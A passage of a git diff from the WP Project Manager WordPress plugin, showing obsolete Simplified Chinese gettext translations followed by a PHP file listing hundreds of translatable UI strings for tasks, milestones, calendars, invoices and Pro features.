+#~ msgid "Add this comment" +#~ msgstr "添加评论" + +#~ msgid "late" +#~ msgstr "晚" + +#~ msgid "Attached to %s by %s" +#~ msgstr "附加到%s,上传人:%s" + +#~ msgid "Error: Message not found" +#~ msgstr "错误:消息未找到" + +#~ msgid "Error: Project not found" +#~ msgstr "错误:项目未找到" + +#~ msgid "Error: Permission denied" +#~ msgstr "错误也:权限不足" + +#~ msgid "Message %s created by %s" +#~ msgstr "消息%s由%s创建" + +#~ msgid "Message %s updated by %s" +#~ msgstr "消息%s已被%s更新" + +#~ msgid "To-do list %s created by %s" +#~ msgstr "列表%s由%s创建" + +#~ msgid "To-do list %s updated by %s" +#~ msgstr "列表%s已被%s更新" + +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "列表\"%s\"已被%s删除" + +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "任务%s已被添加人任务列表%s由%s" + +#~ msgid "To-do %s updated by %s" +#~ msgstr "任务列表%s已被%s更新" + +#~ msgid "To-do %s completed by %s" +#~ msgstr "任务列表%s已被%s完成" + +#~ msgid "Marked to-do as done" +#~ msgstr "标记任务为已完成" + +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "任务%s已被%s标记为未完成" + +#~ msgid "Re-opened to-do" +#~ msgstr "重新开启任务" + +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "任务\"%s\" 已从任务列表中删除 %s 由 %s" + +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "里程碑\"%s\"已由%s 添加" + +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "里程碑\"%s\"已被%s更新 " + +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "里程碑\"%s\"已被%s 删除" + +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "里程碑\"%s\"已被%s 标记为已完成" + +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "里程碑\"%s\"被%s 标记为未完成" + +#~ msgid "General" +#~ msgstr "通用" + +#~ msgid "No Messages Found" +#~ msgstr "没有消息" + +#~ msgid "No Messages Found in Trash" +#~ msgstr "回收站中没有消息" + +#~ msgid "No Milestone Found" +#~ msgstr "没有里程碑" + +#~ msgid "No Milestone Found in Trash" +#~ msgstr "回收站中没有里程碑" + +#~ msgid "No Project Found in Trash" +#~ msgstr "回收站中没有项目" + +#~ msgid "No Task List Found" +#~ msgstr "没有任务列表" + +#~ msgid "No Task List Found in Trash" +#~ msgstr "回收站中没有任务列表" + +#~ msgid "No Task Found" +#~ msgstr "没有任务" + +#~ msgid "No Task Found in Trash" +#~ msgstr "回收站中没有任务" + +#~ msgid "Select co-workers" +#~ msgstr "选择同事" + +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "确认删除这个任务?" + +#~ msgid "Add this to-do" +#~ msgstr "添加此任务" + +#~ msgid "Add a new to-do" +#~ msgstr "添加新任务" + +#~ msgid "-- milestone --" +#~ msgstr "-- 里程碑 --" + +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "确认删除此任务列表?" + +#~ msgid "Update comment" +#~ msgstr "更新评论" + +#~ msgid "Edit milestone" +#~ msgstr "编辑里程碑" + +#~ msgid "Mark un-complete" +#~ msgstr "标记为未完成" + +#~ msgid "To-do List" +#~ msgstr "任务列表" + +#~ msgid "Notify Co-workers" +#~ msgstr "通知同事" + +#~ msgid "thread" +#~ msgstr "线" + +#~ msgid "Discuss this to-do list" +#~ msgstr "讨论此任务列表" + +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "文件尺寸(以M为单位),如:2" + +#~ msgid "New Project Subject" +#~ msgstr "新任务标题" + +#~ msgid "New Project Body" +#~ msgstr "新任务内容" + +#~ msgid "New Message Subject" +#~ msgstr "新消息标题" + +#~ msgid "New Message Body" +#~ msgstr "新消息内容" + +#~ msgid "New Comment Subject" +#~ msgstr "新评论标题" + +#~ msgid "New Assigned Task Subject" +#~ msgstr "新分配的任务标题" + +#~ msgid "-- assign to --" +#~ msgstr "-- 分配 --" + +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "如果需要添加附件,从计算机上选" +#~ "择文件" + +#~ msgid "%d Comments" +#~ msgstr "%d 条评论" + +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(完成人:%s,完成时间:%s)" + +#~ msgid "Tasklist name" +#~ msgstr "任务列表名称" + +#~ msgid "Add a to-do" +#~ msgstr "添加任务" + +#~ msgid "Message details here" +#~ msgstr "消息详情" + +#~ msgid "Details about milestone (optional)" +#~ msgstr "里程碑详情(可选)" + +#~ msgid "Reopen" +#~ msgstr "重新开启" + +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "下载讨论" + +#~ msgid "No Files Found!" +#~ msgstr "没有找到文件" + +#~ msgid "Add New" +#~ msgstr "添加新消息" + +#~ msgid "No messages found! How about adding one?" +#~ msgstr "没有找到消息,添加一个吧。" + +#~ msgid "← back" +#~ msgstr "← 返回" + +#~ msgid "No Milestone Found!" +#~ msgstr "暂时没有里程碑" + +#~ msgid "Add new milestone" +#~ msgstr "添加里程碑" + +#~ msgid "Project Info" +#~ msgstr "项目信息" + +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "没有任务列表" + +#~ msgid "Discuss this to-do" +#~ msgstr "讨论此任务" diff --git a/languages/wedevs-project-manager.php b/languages/wedevs-project-manager.php index e3269e307..a3fed5fe1 100644 --- a/languages/wedevs-project-manager.php +++ b/languages/wedevs-project-manager.php @@ -1,623 +1,623 @@ -more specific on this project.', 'wedevs-project-manager' ), - __( 'Loading', 'wedevs-project-manager' ), - __( 'Task type not found!', 'wedevs-project-manager' ), - __( 'Add new task type', 'wedevs-project-manager' ), - __( 'Add Task Type', 'pm-pro' ), - __( 'No type found!', 'pm-pro' ), - __( 'Click to mark the task as incompleted.', 'wedevs-project-manager' ), - __( 'Completed', 'wedevs-project-manager' ), - __( 'When the task is done, click to mark it as completed.', 'wedevs-project-manager' ), - __( 'Mark Complete', 'wedevs-project-manager' ), - __( 'Created by', 'wedevs-project-manager' ), - __( 'on', 'wedevs-project-manager' ), - __( 'Copy Link', 'wedevs-project-manager' ), - __( 'Project:', 'wedevs-project-manager' ), - __( 'Task List:', 'wedevs-project-manager' ), - __( 'Members', 'wedevs-project-manager' ), - __( 'You can add team members responsible for this task.', 'wedevs-project-manager' ), - __( 'Add new member', 'wedevs-project-manager' ), - __( 'Add New Member', 'wedevs-project-manager' ), - __( 'No user found!', 'pm-pro' ), - __( 'Due Date', 'wedevs-project-manager' ), - __( 'You can fix a date for when this task
is planned to be accomplished.', 'wedevs-project-manager' ), - __( 'Clear', 'wedevs-project-manager' ), - __( 'Add Due Date', 'wedevs-project-manager' ), - __( 'Add Due Date +', 'wedevs-project-manager' ), - __( 'Privacy', 'wedevs-project-manager' ), - __( 'It will hide the task from co-workers and clients.
According project settings capability.', 'wedevs-project-manager' ), - __( 'Hide from others', 'wedevs-project-manager' ), - __( 'Description', 'wedevs-project-manager' ), - __( 'Description', 'pm-pro' ), - __( 'Update', 'wedevs-project-manager' ), - __( 'Activity', 'wedevs-project-manager' ), - __( 'Are you sure you want to delete this milestones?', 'wedevs-project-manager' ), - __( 'Projects', 'wedevs-project-manager' ), - __( 'No users found.', 'wedevs-project-manager' ), - __( 'Create a new user', 'wedevs-project-manager' ), - __( 'Username', 'wedevs-project-manager' ), - __( 'First Name', 'wedevs-project-manager' ), - __( 'Last Name', 'wedevs-project-manager' ), - __( 'Email', 'wedevs-project-manager' ), - __( '- Project Category -', 'wedevs-project-manager' ), - __( 'Notify Co-Workers', 'wedevs-project-manager' ), - __( 'Close', 'wedevs-project-manager' ), - __( 'action', 'wedevs-project-manager' ), - __( 'Complete', 'wedevs-project-manager' ), - __( 'Restore', 'wedevs-project-manager' ), - __( 'Delete project', 'wedevs-project-manager' ), - __( 'Project Description', 'wedevs-project-manager' ), - __( 'No Description Found!', 'wedevs-project-manager' ), - __( 'Task', 'wedevs-project-manager' ), - __( 'Discussions', 'wedevs-project-manager' ), - __( 'Task Lists', 'wedevs-project-manager' ), - __( 'Tasks', 'wedevs-project-manager' ), - __( 'Comments', 'wedevs-project-manager' ), - __( 'Files', 'wedevs-project-manager' ), - __( 'Milestones', 'wedevs-project-manager' ), - __( 'Last 30 days', 'wedevs-project-manager' ), - __( 'Users', 'wedevs-project-manager' ), - __( 'Add', 'wedevs-project-manager' ), - __( 'Load More ...', 'wedevs-project-manager' ), - __( 'No activities found.', 'wedevs-project-manager' ), - __( 'Attached to', 'wedevs-project-manager' ), - __( 'by', 'wedevs-project-manager' ), - __( 'admin', 'wedevs-project-manager' ), - __( 'No results found.', 'wedevs-project-manager' ), - __( 'New Task List', 'wedevs-project-manager' ), - __( '- Milestone -', 'wedevs-project-manager' ), - __( 'Add Task', 'wedevs-project-manager' ), - __( 'Add New Task (Character limit 200)', 'wedevs-project-manager' ), - __( 'Type User Name', 'wedevs-project-manager' ), - __( 'Assign user', 'wedevs-project-manager' ), - __( 'Task Type', 'wedevs-project-manager' ), - __( 'Add New', 'wedevs-project-manager' ), - __( 'Task: ', 'wedevs-project-manager' ), - __( 'Search Lists', 'wedevs-project-manager' ), - __( 'Move Task', 'wedevs-project-manager' ), - __( 'Make Private', 'wedevs-project-manager' ), - __( 'Make Public', 'wedevs-project-manager' ), - __( 'Duplicate', 'wedevs-project-manager' ), - __( 'Move', 'wedevs-project-manager' ), - __( 'More Tasks', 'wedevs-project-manager' ), - __( 'Show Completed Task', 'wedevs-project-manager' ), - __( 'Hide Completed Task', 'wedevs-project-manager' ), - __( 'You can list all your Tasks in a single discussion using a Task list. Use these lists to divide a project into several sectors, assign co-workers and check progress.', 'wedevs-project-manager' ), - __( 'When to use Task Lists?', 'wedevs-project-manager' ), - __( 'To partition a project internals.', 'wedevs-project-manager' ), - __( 'To mark milestone points.', 'wedevs-project-manager' ), - __( 'To assign people to tasks.', 'wedevs-project-manager' ), - __( 'Task Filter', 'wedevs-project-manager' ), - __( 'Task title', 'wedevs-project-manager' ), - __( 'Task list name', 'wedevs-project-manager' ), - __( 'Type task list name', 'pm-pro' ), - __( 'No task lists found.', 'wedevs-project-manager' ), - __( 'Status', 'wedevs-project-manager' ), - __( 'On-going', 'wedevs-project-manager' ), - __( 'Assigned to', 'wedevs-project-manager' ), - __( 'Clear Filter', 'wedevs-project-manager' ), - __( 'Apply Filter', 'wedevs-project-manager' ), - __( 'Project', 'wedevs-project-manager' ), - __( 'Loading projects', 'wedevs-project-manager' ), - __( 'In List', 'wedevs-project-manager' ), - __( 'Loading task lists', 'wedevs-project-manager' ), - __( 'You have no permission to create task for this project', 'wedevs-project-manager' ), - __( 'Calendar', 'wedevs-project-manager' ), - __( 'Recurring Test Project', 'wedevs-project-manager' ), - __( 'Woo Project Testing', 'wedevs-project-manager' ), - __( 'No elements found. Consider changing the search query.', 'wedevs-project-manager' ), - __( 'Alexander', 'wedevs-project-manager' ), - __( 'Md. Sifatullah Kakkar', 'wedevs-project-manager' ), - __( 'Incomplete Task', 'wedevs-project-manager' ), - __( 'Complete Task', 'wedevs-project-manager' ), - __( 'Outstanding Task', 'wedevs-project-manager' ), - __( 'Milestone', 'wedevs-project-manager' ), - __( 'today', 'wedevs-project-manager' ), - __( 'User view', 'wedevs-project-manager' ), - __( 'month', 'wedevs-project-manager' ), - __( 'week', 'wedevs-project-manager' ), - __( 'day', 'wedevs-project-manager' ), - __( 'November 2022', 'wedevs-project-manager' ), - __( 'Sun', 'wedevs-project-manager' ), - __( 'Mon', 'wedevs-project-manager' ), - __( 'Tue', 'wedevs-project-manager' ), - __( 'Wed', 'wedevs-project-manager' ), - __( 'Thu', 'wedevs-project-manager' ), - __( 'Fri', 'wedevs-project-manager' ), - __( 'Sat', 'wedevs-project-manager' ), - __( '30', 'wedevs-project-manager' ), - __( '31', 'wedevs-project-manager' ), - __( '1', 'wedevs-project-manager' ), - __( '2', 'wedevs-project-manager' ), - __( '3', 'wedevs-project-manager' ), - __( '4', 'wedevs-project-manager' ), - __( '5', 'wedevs-project-manager' ), - __( '6', 'wedevs-project-manager' ), - __( '7', 'wedevs-project-manager' ), - __( '8', 'wedevs-project-manager' ), - __( '9', 'wedevs-project-manager' ), - __( '10', 'wedevs-project-manager' ), - __( '11', 'wedevs-project-manager' ), - __( '12', 'wedevs-project-manager' ), - __( '13', 'wedevs-project-manager' ), - __( '14', 'wedevs-project-manager' ), - __( '15', 'wedevs-project-manager' ), - __( '16', 'wedevs-project-manager' ), - __( '17', 'wedevs-project-manager' ), - __( '18', 'wedevs-project-manager' ), - __( '19', 'wedevs-project-manager' ), - __( 'Check recurring validations', 'wedevs-project-manager' ), - __( '20', 'wedevs-project-manager' ), - __( '21', 'wedevs-project-manager' ), - __( '22', 'wedevs-project-manager' ), - __( '23', 'wedevs-project-manager' ), - __( '24', 'wedevs-project-manager' ), - __( '25', 'wedevs-project-manager' ), - __( '26', 'wedevs-project-manager' ), - __( '27', 'wedevs-project-manager' ), - __( '28', 'wedevs-project-manager' ), - __( '29', 'wedevs-project-manager' ), - __( 'Handle Bitcom Deals', 'wedevs-project-manager' ), - __( 'Make Final Presentation', 'wedevs-project-manager' ), - __( 'Categories', 'wedevs-project-manager' ), - __( 'Add New Category', 'wedevs-project-manager' ), - __( 'Name', 'wedevs-project-manager' ), - __( 'Select bulk action', 'wedevs-project-manager' ), - __( 'Bulk Actions', 'wedevs-project-manager' ), - __( 'Quick Edit', 'wedevs-project-manager' ), - __( 'Update Category', 'wedevs-project-manager' ), - __( 'Submit', 'wedevs-project-manager' ), - __( 'Select Color', 'wedevs-project-manager' ), - __( 'Post Comment', 'wedevs-project-manager' ), - __( 'Update Comment', 'wedevs-project-manager' ), - __( 'Menu 1', 'wedevs-project-manager' ), - __( 'Menu 2', 'wedevs-project-manager' ), - __( 'Delete File', 'wedevs-project-manager' ), - __( 'To attach', 'wedevs-project-manager' ), - __( 'from your computer.', 'wedevs-project-manager' ), - __( 'select files', 'wedevs-project-manager' ), - __( 'Select a project', 'wedevs-project-manager' ), - __( 'Project Actions', 'wedevs-project-manager' ), - __( 'All', 'wedevs-project-manager' ), - __( 'Any', 'wedevs-project-manager' ), - __( 'Over Due', 'wedevs-project-manager' ), - __( 'Today', 'wedevs-project-manager' ), - __( 'Less Than 1 week', 'wedevs-project-manager' ), - __( 'Loading...', 'pm' ), - __( 'More', 'wedevs-project-manager' ), - __( 'Overview', 'wedevs-project-manager' ), - __( 'Activities', 'wedevs-project-manager' ), - __( 'Title', 'pm' ), - __( 'Cancel', 'pm' ), - __( 'Add New', 'pm' ), - __( 'Choose task type', 'wedevs-taskType-manager' ), - __( 'Write a comment...', 'wedevs-project-manager' ), - __( 'Provide your App Key & Token', 'wedevs-project-manager' ), - __( 'No activities found!', 'wedevs-project-manager' ), - __( 'Load More', 'wedevs-project-manager' ), - __( 'My Calendar', 'wedevs-project-manager' ), - __( 'Task List', 'wedevs-project-manager' ), - __( 'Completed at', 'wedevs-project-manager' ), - __( 'No task found!', 'wedevs-project-manager' ), - __( 'Created at', 'wedevs-project-manager' ), - __( 'Date Between', 'wedevs-project-manager' ), - __( 'activity', 'wedevs-proejct-manager' ), - __( 'Completed Task', 'wedevs-proejct-manager' ), - __( 'Assigned Task', 'wedevs-proejct-manager' ), - __( 'Current Task', 'wedevs-proejct-manager' ), - __( 'Outstanding Task', 'wedevs-proejct-manager' ), - __( 'My Tasks', 'wedevs-project-manager' ), - __( 'Select an User', 'wedevs-project-manager' ), - __( 'New Task', 'wedevs-project-manager' ), - __( 'No project found!', 'wedevs-project-manager' ), - __( 'No task lists found!', 'wedevs-project-manager' ), - __( 'Overdue', 'wedevs-project-manager' ), - __( 'My Task Overview', 'wedevs-project-manager' ), - __( 'Activity Filter', 'wedevs-project-manager' ), - __( 'At a glance', 'wedevs-project-manager' ), - __( 'Current', 'wedevs-project-manager' ), - __( 'Outstanding', 'wedevs-project-manager' ), - __( 'Start at - Due date', 'wedevs-project-manager' ), - __( 'Due date', 'wedevs-project-manager' ), - __( 'My tasks', 'wedevs-project-manager' ), - __( 'No project found.', 'wedevs-project-manager' ), - __( 'Current Task', 'wedevs-project-manager' ), - __( 'Start date and due date should be greater than or equal today', 'wedevs-project-manager' ), - __( 'Start date should be greater than or equal today', 'wedevs-project-manager' ), - __( 'Due date should be greater than today', 'wedevs-project-manager' ), - __( 'Start date and due date should be less than today', 'wedevs-project-manager' ), - __( 'Start date should be less than today', 'wedevs-project-manager' ), - __( 'Due date should be less than today', 'wedevs-project-manager' ), - __( 'See More', 'wedevs-project-manager' ), - __( 'More features to unveil while', 'wedevs-project-manager' ), - __( 'Managing Your Project', 'wedevs-project-manager' ), - __( 'Useful & fascinating features for WP Project Manager that can be', 'wedevs-project-manager' ), - __( 'unlocked with the Pro Version.', 'wedevs-project-manager' ), - __( 'Project Manager Pro', 'wedevs-project-manager' ), - __( 'Premium Features', 'wedevs-project-manager' ), - __( 'Advanced project management tools to ensure your', 'wedevs-project-manager' ), - __( 'efficiency and productivity reach the peak.', 'wedevs-project-manager' ), - __( 'Get the Birdseye view of all tasks from an interactive calendar.', 'wedevs-project-manager' ), - __( 'Report', 'wedevs-project-manager' ), - __( 'Generate actionable insights with built-in reporting system.', 'wedevs-project-manager' ), - __( 'Progress', 'wedevs-project-manager' ), - __( 'Stay updated with the live progress of your projects. Plan ahead of deadline.', 'wedevs-project-manager' ), - __( 'Available Modules', 'wedevs-project-manager' ), - __( 'Recurring Task', 'wedevs-project-manager' ), - __( 'Automate routine tasks with this super handy module. Just set the patterns & parameters and the tasks will repeat itself accordingly.', 'wedevs-project-manager' ), - __( 'BuddyPress', 'wedevs-project-manager' ), - __( 'Need to bring team networking in your project manager? You\'re good to go.', 'wedevs-project-manager' ), - __( 'Gantt Chart', 'wedevs-project-manager' ), - __( 'Get a graphical overview of task progress, deadline, sub-tasks, project dependencies - everything in one place.', 'wedevs-project-manager' ), - __( 'Kanban Board', 'wedevs-project-manager' ), - __( 'Organize your tasks in Kanban style to keep team-mates updated about task status.', 'wedevs-project-manager' ), - __( 'WooCommerce Order', 'wedevs-project-manager' ), - __( 'Integrate task management with your WooCommerce store and automate the workflow.', 'wedevs-project-manager' ), - __( 'Sub Task', 'wedevs-project-manager' ), - __( 'Break down your tasks into smaller ones to work more effectively. Keep track of every detail.', 'wedevs-project-manager' ), - __( 'Time Tracker', 'wedevs-project-manager' ), - __( 'Track the exact time you spend on specific tasks. With Interval option of course.', 'wedevs-project-manager' ), - __( 'Invoice', 'wedevs-project-manager' ), - __( 'Invoice creation, payment collection have never been easier before.', 'wedevs-project-manager' ), - __( 'Stripe Gateway', 'wedevs-project-manager' ), - __( 'Enable the hassle-free and popular payment system with the minimum cost possible.', 'wedevs-project-manager' ), - __( 'Private', 'wedevs-project-manager' ), - __( 'KanBan Board', 'wedevs-project-manager' ), - __( 'Turn your projects into Trello like boards and organize them using drag and drop feature.', 'wedevs-project-manager' ), - __( 'Break down your to-dos into smaller tasks for better management and project tracking.', 'wedevs-project-manager' ), - __( 'Custom Fields', 'wedevs-project-manager' ), - __( 'Generate invoice for your projects anytime; print, download and send emails to your client.', 'wedevs-project-manager' ), - __( 'Create projects instantly for each of the orders placed on your WooCommerce store.', 'wedevs-project-manager' ), - __( 'Repeatedly creates tasks if you set recurrence.', 'wedevs-project-manager' ), - __( 'Create detailed Gantt charts for your projects and become a professional project manager.', 'wedevs-project-manager' ), - __( 'BuddyPress Integration', 'wedevs-project-manager' ), - __( 'Manage your projects group wise directly from the frontend using this premium integration.', 'wedevs-project-manager' ), - __( 'Track time for each of your project tasks for increasing overall team productivity.', 'wedevs-project-manager' ), - __( 'Invoice stripe payment gateway', 'wedevs-project-manager' ), - __( 'Get payment with stripe account.', 'wedevs-project-manager' ), - __( 'Project Invoice', 'wedevs-project-manager' ), - __( 'Invoices', 'wedevs-project-manager' ), - __( 'Theme Color', 'wedevs-project-manager' ), - __( 'Currency', 'wedevs-project-manager' ), - __( 'US Dollar', 'wedevs-project-manager' ), - __( 'Payment Gateway', 'wedevs-project-manager' ), - __( 'Paypal', 'wedevs-project-manager' ), - __( 'Stripe', 'wedevs-project-manager' ), - __( 'PayPal email', 'wedevs-project-manager' ), - __( 'Enable demo/sandbox mode forPayPal', 'wedevs-project-manager' ), - __( 'When sandbox mode is active, all payment gateway will be used in demo mode', 'wedevs-project-manager' ), - __( 'PayPal Instruction', 'wedevs-project-manager' ), - __( 'Pay with your credit card', 'wedevs-project-manager' ), - __( 'Organization', 'wedevs-project-manager' ), - __( 'Address Line 1', 'wedevs-project-manager' ), - __( 'Address Line 2', 'wedevs-project-manager' ), - __( 'City', 'wedevs-project-manager' ), - __( 'State/Province', 'wedevs-project-manager' ), - __( 'Zip/Postal Code', 'wedevs-project-manager' ), - __( 'Country', 'wedevs-project-manager' ), - __( 'Bangladesh', 'wedevs-project-manager' ), - __( 'Pages', 'wedevs-project-manager' ), - __( 'Page Settings', 'wedevs-project-manager' ), - __( 'Front-end', 'wedevs-project-manager' ), - __( 'Task start date', 'wedevs-project-manager' ), - __( 'Enable task start date field', 'wedevs-project-manager' ), - __( 'Logo', 'wedevs-project-manager' ), - __( 'Upload', 'wedevs-project-manager' ), - __( 'Daily Digest', 'wedevs-project-manager' ), - __( 'Enable Daily Digest', 'wedevs-project-manager' ), - __( 'Subtasks', 'wedevs-project-manager' ), - __( 'Pro', 'wedevs-project-manager' ), - __( 'Content planing', 'wedevs-project-manger' ), - __( 'Estimation', 'wedevs-project-manager' ), - __( 'according subtasks', 'wedevs-project-manager' ), - __( '00 Hour', 'wedevs-project-manager' ), - __( '00 Minute', 'wedevs-project-manager' ), - __( 'Label', 'wedevs-project-manager' ), - __( 'Add Label', 'pm-pro' ), - __( 'Recurring', 'wedevs-project-manager' ), - __( 'Add Recurring', 'wedevs-project-manager' ), - __( 'Track Time', 'wedevs-project-manager' ), - __( '+ Add custom time', 'wedevs-project-manager' ), - __( 'Oct 24 2022', 'wedevs-project-manager' ), - __( 'update', 'wedevs-project-manager' ), - __( 'has updated the description of a discussion board,', 'wedevs-project-manager' ), - __( 'Profile badge successfully updated', 'wedevs-project-manager' ), - __( '2022-11-03 07:49:10', 'wedevs-project-manager' ), - __( 'create', 'wedevs-project-manager' ), - __( 'has created a discussion board titled as', 'wedevs-project-manager' ), - __( 'Profile badge successfully created', 'wedevs-project-manager' ), - __( '2022-11-03 07:48:51', 'wedevs-project-manager' ), - __( 'Oct 25 2022', 'wedevs-project-manager' ), - __( 'Project recursion successfully updated', 'wedevs-project-manager' ), - __( 'Project recursion successfully created', 'wedevs-project-manager' ), - __( 'Add New Comment', 'wedevs-project-manager' ), - __( 'Add List', 'cpm' ), - __( 'Use our built in discussion panel to create an open discussion, a group discussion or a private conversation. Note that the Admin can always moderate these discussions.', 'wedevs-project-manager' ), - __( 'Add New Discussion', 'wedevs-project-manager' ), - __( 'Create a new message', 'wedevs-project-manager' ), - __( 'When to use Discussions?', 'wedevs-project-manager' ), - __( 'To discuss a work matter privately.', 'wedevs-project-manager' ), - __( 'To exchange files privately.', 'wedevs-project-manager' ), - __( 'To discuss in a group.', 'wedevs-project-manager' ), - __( 'To create an open discussion visible to all.', 'wedevs-project-manager' ), - __( 'Discussion List', 'wedevs-project-manager' ), - __( 'By', 'wedevs-project-manager' ), - __( 'Delete this message', 'wedevs-project-manager' ), - __( 'Make it private', 'wedevs-project-manager' ), - __( 'Are you sure to delete this comment?', 'wedevs-project-manager' ), - __( 'Enter message title', 'wedevs-project-manager' ), - __( 'Add Message', 'wedevs-project-manager' ), - __( 'Update Message', 'wedevs-project-manager' ), - __( 'Project Manager', 'wedevs-project-manager' ), - __( 'Start a new project', 'wedevs-project-manager' ), - __( 'Name of the project', 'wedevs-project-manager' ), - __( 'Some details about the project (optional)', 'wedevs-project-manager' ), - __( 'Search users...', 'wedevs-project-manager' ), - __( 'Add New Project', 'wedevs-project-manager' ), - __( 'Update Project', 'wedevs-project-manager' ), - __( 'Client', 'wedevs-project-manager' ), - __( 'Project title is required.', 'wedevs-project-manager' ), - __( '- All Categories -', 'wedevs-project-manager' ), - __( 'Active', 'wedevs-project-manager' ), - __( 'Favourite', 'wedevs-project-manager' ), - __( 'New Project', 'wedevs-project-manager' ), - __( 'Create User', 'wedevs-project-manager' ), - __( 'No projects found.', 'wedevs-project-manager' ), - __( 'Grid View', 'wedevs-project-manager' ), - __( 'List View', 'wedevs-project-manager' ), - __( 'Edit Milestone', 'wedevs-project-manager' ), - __( 'Delete milestone', 'wedevs-project-manager' ), - __( 'Mark as incomplete', 'wedevs-project-manager' ), - __( 'Mark as complete', 'wedevs-project-manager' ), - __( 'Completed Milestones', 'wedevs-project-manager' ), - __( 'Completed on:', 'wedevs-project-manager' ), - __( 'Late Milestones', 'wedevs-project-manager' ), - __( 'Create a lifecycle of your projects using milestones. Time mark the different stages of your project with multiple milestones and also it will help the assigned people to aim for a date to complete the project according to those steps.', 'wedevs-project-manager' ), - __( 'Add Milestone', 'wedevs-project-manager' ), - __( 'When to use Milestones?', 'wedevs-project-manager' ), - __( 'To set a target date for the project overall.', 'wedevs-project-manager' ), - __( 'To divide a project into several development-time phases.', 'wedevs-project-manager' ), - __( 'To coordinate projects and assigned persons timely.', 'wedevs-project-manager' ), - __( 'Milestone name', 'wedevs-project-manager' ), - __( 'Update Milestone', 'wedevs-project-manager' ), - __( 'Milestone title required!', 'wedevs-project-manager' ), - __( 'Upcoming Milestones', 'wedevs-project-manager' ), - __( 'left -', 'wedevs-project-manager' ), - __( 'Title', 'wedevs-project-manager' ), - __( 'Start time', 'wedevs-project-manager' ), - __( 'Group', 'wedevs-project-manager' ), - __( '2022-11-17', 'wedevs-project-manager' ), - __( 'Inbox', 'wedevs-project-manager' ), - __( 'List', 'wedevs-project-manager' ), - __( 'November, 2022', 'wedevs-project-manager' ), - __( '15, Tue', 'wedevs-project-manager' ), - __( '16, Wed', 'wedevs-project-manager' ), - __( '17, Thu', 'wedevs-project-manager' ), - __( '18, Fri', 'wedevs-project-manager' ), - __( '19, Sat', 'wedevs-project-manager' ), - __( '20, Sun', 'wedevs-project-manager' ), - __( '21, Mon', 'wedevs-project-manager' ), - __( '22, Tue', 'wedevs-project-manager' ), - __( '23, Wed', 'wedevs-project-manager' ), - __( '24, Thu', 'wedevs-project-manager' ), - __( '25, Fri', 'wedevs-project-manager' ), - __( '26, Sat', 'wedevs-project-manager' ), - __( '27, Sun', 'wedevs-project-manager' ), - __( 'Fullscreen', 'wedevs-project-manager' ), - __( 'Filter', 'wedevs-project-manager' ), - __( 'Open', 'wedevs-project-manager' ), - __( 'In Progress', 'wedevs-project-manager' ), - __( 'Done', 'wedevs-project-manager' ), - __( 'Kanban board', 'wedevs-project-manager' ), - __( 'Create', 'wedevs-project-manager' ), - __( 'Co-worker', 'wedevs-project-manager' ), - __( 'Message: ', 'wedevs-project-manager' ), - __( 'View Private', 'wedevs-project-manager' ), - __( 'Todo List', 'wedevs-project-manager' ), - __( 'Todo', 'wedevs-project-manager' ), - __( 'Upload or create doc', 'wedevs-project-manager' ), - __( 'View Private files or docs', 'wedevs-project-manager' ), - __( 'Label Name', 'wedevs-project-manager' ), - __( 'Color', 'wedevs-project-manager' ), - __( 'Label name required!', 'wedevs-project-manager' ), - __( 'Label color required!', 'wedevs-project-manager' ), - __( 'Field Title', 'pm-pro' ), - __( 'Type', 'pm-pro' ), - __( 'Drop-down', 'pm-pro' ), - __( 'Text', 'pm-pro' ), - __( 'Number', 'pm-pro' ), - __( 'URL', 'pm-pro' ), - __( 'Add description', 'pm-pro' ), - __( 'Add New', 'pm-pro' ), - __( 'Custom Fields', 'pm-pro' ), - __( 'Custom Field', 'pm-pro' ), - __( 'Field title required!', 'pm-pro' ), - __( 'Field type required!', 'pm-pro' ), - __( 'Field options required!', 'pm-pro' ), - __( 'Custom field created successfully!', 'pm-pro' ), - __( 'Custom field updated successfully!', 'pm-pro' ), - __( 'Action', 'wedevs-project-manager' ), - __( 'No field found!', 'wedevs-project-manager' ), - __( 'Github', 'wedevs-project-manager' ), - __( 'Webhook URL', 'wedevs-project-manager' ), - __( 'to send our JSON payloads', 'wedevs-project-manager' ), - __( 'View documentation', 'wedevs-project-manager' ), - __( 'Save Form', 'wedevs-project-manager' ), - __( 'Save Changes', 'wedevs-project-manager' ), - __( 'Created', 'wedevs-project-manager' ), - __( 'due', 'wedevs-project-manager' ), - __( 'Discount', 'wedevs-project-manager' ), - __( 'Total', 'wedevs-project-manager' ), - __( 'Paid', 'wedevs-project-manager' ), - __( 'No invoice found!', 'wedevs-project-manager' ), - __( '+ Create label', 'wedevs-project-manager' ), - __( 'Are you sure!', 'wedevs-project-manager' ), - __( 'Options', 'pm-pro' ), - __( 'Add option', 'pm-pro' ), - __( 'Maximum character limit 40', 'pm-pro' ), - __( 'Option name required', 'pm-pro' ), - __( 'Invoice', 'pm-pro' ), - __( 'Settings', 'pm-pro' ), - __( 'Capabilities', 'pm-pro' ), - __( 'Integrations', 'pm-pro' ), - __( 'Label', 'pm-pro' ), - __( 'Slack webhook URL', 'wedevs-project-manager' ), - __( 'More option', 'wedevs-project-manager' ), - __( 'Incomplete', 'wedevs-project-manager' ), - __( 'New comment', 'wedevs-project-manager' ), - __( 'Update comment', 'wedevs-project-manager' ), - __( 'Add Task List', 'wedevs-project-manager' ), - __( 'This is a system default task list. Any task without an assigned tasklist will appear here.', 'wedevs-project-manager' ), - __( 'Task Title', 'wedevs-project-manager' ), - __( 'Make Visible', 'wedevs-project-manager' ), - __( 'characters remaining', 'wedevs-project-manager' ), - __( 'Add a new task', 'wedevs-project-manager' ), - __( 'Add extra details about this task 